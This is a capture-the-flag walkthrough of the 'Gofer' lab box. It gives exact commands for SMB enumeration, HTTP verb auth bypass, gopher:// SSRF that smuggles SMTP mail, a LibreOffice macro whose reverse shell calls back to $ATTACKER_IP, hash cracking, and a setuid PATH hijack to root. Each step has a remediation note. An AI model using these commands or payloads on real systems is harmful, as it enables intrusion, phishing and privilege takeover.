← all walkthroughs

Gofer

Linux· Hard
owned
2026-10-13
time to own
23m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Samba share open to anonymous users that held an internal email. The email revealed that a staff member opens every attachment she receives and that the web proxy's authentication only covered some HTTP methods.

Switching the HTTP verb bypassed the proxy login, letting me drive the proxy as an internal SSRF relay into the box's own mail service and deliver a document carrying a malicious macro to that staff member. Opening it gave a shell as user jhudson.

From there I read an Apache password file, cracked a colleague's password offline, and logged in over SSH as tbuckley. That account belonged to a group allowed to run a setuid-root 'notes' utility; the utility invoked an external helper by name rather than full path, so a planted fake helper early in PATH ran as root, giving full control of the server.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered, for tbuckley>"

Some commands also carry a value in angle brackets — <baseline_wc> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationAnonymous SMB enumeration and virtual-host discovery (T1135, T1595)
Mapped the services and read an internal email from an anonymous SMB share
A port sweep showed SSH (22), an Apache web server (80), and Samba (139/445). The web server redirected to the gofer.htb virtual host, which named four staff members. Subdomain fuzzing found a second site, proxy.gofer.htb, behind a login prompt. The Samba 'shares' share allowed guest access and held a hidden directory with an internal mail message describing staff habits and an incomplete proxy lockdown.
Open ports 22, 80, 139, 445 on $TARGET; guest-readable 'shares' share containing a 'mail' file; proxy.gofer.htb vhost behind Basic-Auth.
Exact commands 5
shell

Full TCP sweep, then nmap -sC -sV -p22,80,139,445 $TARGET.

$ nmap -p- --min-rate=1000 -T4 $TARGET
shell

Resolve the main site and the proxy vhost locally.

$ echo "$TARGET gofer.htb proxy.gofer.htb" | sudo tee -a /etc/hosts
shell

Reveals proxy.gofer.htb; <baseline_wc> is the default-response word count to filter out.

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://gofer.htb -H 'Host: FUZZ.gofer.htb' -c -mc all --fw <baseline_wc>
shell

Confirm the guest-readable 'shares' share.

$ smbmap -H gofer.htb
shell

Browse the share including hidden entries and pull the internal email.

$ smbclient //gofer.htb/shares --no-pass -c 'recurse ON; ls; get mail'
FixRemove anonymous/guest access from the SMB share and stop storing sensitive mail thereMedium
WeaknessThe 'shares' Samba share allowed guest/null-session access and contained an internal email (including hidden directories) readable by anyone on the network.
FixDisable guest access in smb.conf (map to guest = never, restrict each share to named users via valid users =), require authentication for all shares, and move internal correspondence out of file shares entirely.
2Initial AccessHTTP verb/method tampering against an incomplete access-control rule (CWE-287, OWASP A01)
Bypassed the proxy's authentication with an unprotected HTTP method
The proxy vhost's access control only restricted the GET method, leaving every other HTTP verb reachable without credentials. Sending the request as POST reached the application behind the login wall: a URL-fetching proxy that takes a target URL and relays the request on the server's behalf.
Only GET returned 401; POST/PUT/OPTIONS/DELETE/PATCH to /index.php returned 200 and the proxy's response.
Exact commands 2
shell

Confirm which verbs bypass the GET-only auth block.

$ feroxbuster -u http://proxy.gofer.htb/ -w /usr/share/wordlists/dirb/big.txt -m GET,POST,PUT,OPTIONS,DELETE,PATCH -s 200
shell

Reach the proxy application without credentials.

$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=http://example.com'
FixRestrict the proxy's access control to all HTTP methods, not just GETCritical
WeaknessThe Apache <Limit GET> directive only gated the GET verb, so POST, PUT, OPTIONS, DELETE and PATCH requests reached the authenticated application without credentials.
FixUse <LimitExcept GET POST PUT ...> or an unconditional Require valid-user outside any <Limit> block so authentication applies to every method; verify with an automated check across all verbs before deployment.
3ExploitationServer-Side Request Forgery via blacklist bypass and SMTP protocol smuggling over gopher:// (T1090, CWE-918)
Used the proxy as an SSRF relay to inject an SMTP message into the internal mail server
The proxy's URL filter blocked literal strings like '/127' and 'localhost' but not decimal-notation loopback addresses or the gopher:// scheme. Gopher lets a raw byte stream be pushed to any internal TCP port, so a crafted gopher URL to loopback port 25 delivered a hand-written SMTP conversation to the box's own Postfix service, sending a message from jdavis to jhudson with a link to my own .odt file.
Gopher://2130706433:22 returned the SSH banner, confirming internal TCP reachability; a follow-up gopher://2130706433:25 payload delivered an SMTP session that produced a callback hit on my own HTTP listener.
Exact commands 3
shell

2130706433 is 127.0.0.1 as a decimal integer; confirms internal reachability via the SSH banner.

$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=gopher://2130706433:22'
shell

Listener to confirm jhudson's mail client fetches links in message bodies, before sending the real payload.

$ python3 -m http.server 8000
shell

SMTP conversation smuggled via gopher to loopback:25; URL-encode the payload (double-encode if the proxy decodes once itself). The leading underscore after host:port is required by gopher's selector syntax.

$ curl -s -X POST --data-urlencode "url=gopher://2130706433:25/_EHLO gofer.htb%0d%0aMAIL FROM:<jdavis@gofer.htb>%0d%0aRCPT TO:<jhudson@gofer.htb>%0d%0aDATA%0d%0aSubject: Document%0d%0a%0d%0aSee http://$ATTACKER_IP:8000/report.odt%0d%0a.%0d%0aQUIT%0d%0a" http://proxy.gofer.htb/index.php
FixEliminate SSRF in the URL-fetching proxyCritical
WeaknessThe proxy's URL filter used a literal-string blacklist (blocking '/127', 'localhost', 'file://') that decimal-notation loopback addresses and the gopher:// scheme bypassed entirely, allowing arbitrary internal TCP traffic including SMTP injection.
FixReplace the blacklist with an allowlist of permitted destination hosts/schemes, resolve and re-check the final IP against private/loopback ranges (including alternate notations) before connecting, and disable non-HTTP(S) schemes such as gopher entirely.
4ExploitationMalicious document macro execution (T1204.002, T1059.005)
Delivered a malicious LibreOffice macro document and caught a shell as jhudson
Because staff exchange sensitive files as .odt and the mail-reading side opens attachments automatically, a .odt document was built with a document-embedded Basic macro that ran a reverse-shell command on open, and was linked from the SMTP-injected mail instead of attached directly (so it would be fetched and opened). Opening the document executed the macro and returned a shell as jhudson.
Exact commands 4
shell

Catch the reverse shell before the document is opened.

$ nc -lvnp 443
shell

Builds the weaponized document; host it at the URL referenced in step 3's mail.

$ # In LibreOffice Writer: Tools > Macros > Edit Macros, add to the DOCUMENT (not 'My Macros'): Sub Main : Shell("bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1'") : End Sub, bind it to document Open event, save as report.odt
shell

Verify the resulting access before reading the flag.

$ ssh jhudson@$TARGET id
uid=1000(jhudson) gid=1000(jhudson) groups=1000(jhudson),108(netdev)
shell

<user.txt> — replace with the actual captured value.

$ cat /home/jhudson/user.txt
FixDisable macro auto-execution and treat mail-fetched documents as untrustedHigh
WeaknessAn internal mail-handling process automatically opened linked documents and executed embedded LibreOffice Basic macros without user review, giving code execution the moment a crafted .odt was linked in a message.
FixDisable automatic macro execution (set macro security to 'high' / disable macros from untrusted sources) on any automated mail-handling account, and have any automation that opens attachments do so in a sandboxed, non-interactive viewer with macros stripped.
5Privilege EscalationReadable web-server credential file and offline hash cracking (T1552.001, T1110.002)
Stabilized access and found a crackable password hash in an Apache auth file
From the jhudson shell, an SSH keypair was generated and installed for persistent access. Local enumeration found no sudo rights and no abusable SUID/capability binaries of immediate use, but /etc/apache2/.htpasswd — used by the proxy vhost's Basic-Auth — was world-readable and contained an MD5-apr1 hash for user tbuckley. The hash was cracked offline.
/etc/apache2/.htpasswd contained tbuckley's hash cracked to the plaintext password, which was also tbuckley's local Unix password.
Exact commands 3
shell

Generate a key and append its pubkey to jhudson's authorized_keys from the existing shell.

$ ssh-keygen -q -t ed25519 -N '' -f /tmp/gofer_jhudson_key && cat /tmp/gofer_jhudson_key.pub
shell

Read the proxy vhost's Basic-Auth credential file.

$ ssh jhudson@$TARGET 'cat /etc/apache2/.htpasswd'
shell

Crack the apr1-MD5 hash offline (mode 1600 = apache $apr1$).

$ hashcat -m 1600 tbuckley.hash /usr/share/wordlists/rockyou.txt
FixProtect the Apache credentials file and stop reusing its passwordsHigh
Weakness/etc/apache2/.htpasswd was readable by a low-privileged local user and held a crackable MD5-apr1 hash whose plaintext matched a real OS account password.
FixRestrict .htpasswd to root:www-data mode 640 (unreadable by other local users), generate it with a strong hashing scheme (bcrypt via htpasswd -B), and never reuse a web Basic-Auth password for an OS account.
6Privilege EscalationPassword reuse across services and group-gated SUID binary discovery (T1078, CWE-732)
Reused the cracked password for SSH and found a setuid binary reachable via group membership
The cracked password also worked as tbuckley's local SSH/Unix password — credential reuse between the web Basic-Auth account and the OS account. Tbuckley belonged to the 'dev' group, which had execute rights on /usr/local/bin/notes, a setuid-root, setgid-dev interactive binary.
Ssh tbuckley@$TARGET returned uid=1002(tbuckley) groups=1002(tbuckley),1004(dev); /usr/local/bin/notes is -rwsr-s--- root:dev.
Exact commands 1
shell

Confirm access and the setuid-root, dev-group-executable notes binary.

$ sshpass -p "$PASSWORD2" ssh tbuckley@$TARGET 'id; groups; ls -l /usr/local/bin/notes'
FixEnforce unique credentials per account/serviceHigh
Weaknesstbuckley's web Basic-Auth password was identical to the local Unix account password, so cracking one credential compromised both the proxy config and shell access.
FixEnforce a password policy that forbids reusing the same secret across services, and require SSH key-based authentication for interactive logins instead of passwords.
7Privilege EscalationPATH hijacking of a privileged SUID binary's unqualified child-process call (T1574.007, CWE-426)
Hijacked the notes binary's PATH to spawn a root shell
The notes utility shelled out to an external helper (tar) by bare name instead of an absolute path. Placing a fake executable named 'tar' in a directory prepended to PATH, then driving the program's interactive menu to trigger its backup/tar step, caused the fake helper to run with the binary's root privilege instead of the real system tar.
The crafted /tmp/tar script ran as root via the notes 'Backup notes' menu option, returning uid=0(root) and disclosing root.txt.
Exact commands 4
shell

Fake 'tar' helper that spawns a privileged shell. Replace the cat target/placeholder as needed.

$ printf '#!/bin/bash\n/bin/bash -p -c "id; cat /root/root.txt"\n' > /tmp/tar && chmod 700 /tmp/tar
shell

Ensure the fake tar is found before the real /usr/bin/tar.

$ export PATH=/tmp:$PATH
shell

Drive the notes menu (create user, write note, show, then backup) to trigger the tar call as root.

$ printf '1\nprobe\n3\n4\nAAAAAAAAAAAAAAAAAAAAadmin\n2\n8\n9\n' | /usr/local/bin/notes
shell

<root.txt> — replace with the actual captured value.

$ cat /root/root.txt
FixRemove the unneeded setuid bit and fix the unqualified PATH lookupCritical
Weakness/usr/local/bin/notes ran setuid-root, was executable by the whole 'dev' group, and invoked an external helper (tar) by bare name, letting a group member override it by prepending a malicious directory to PATH.
FixDrop the setuid-root bit unless root privilege is strictly required; if it is, call helper binaries by absolute path (e.g. /usr/bin/tar) and sanitize/clear the environment (PATH, IFS) at program start. Restrict group membership on the binary to the minimum needed accounts.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
139/tcp
445/tcp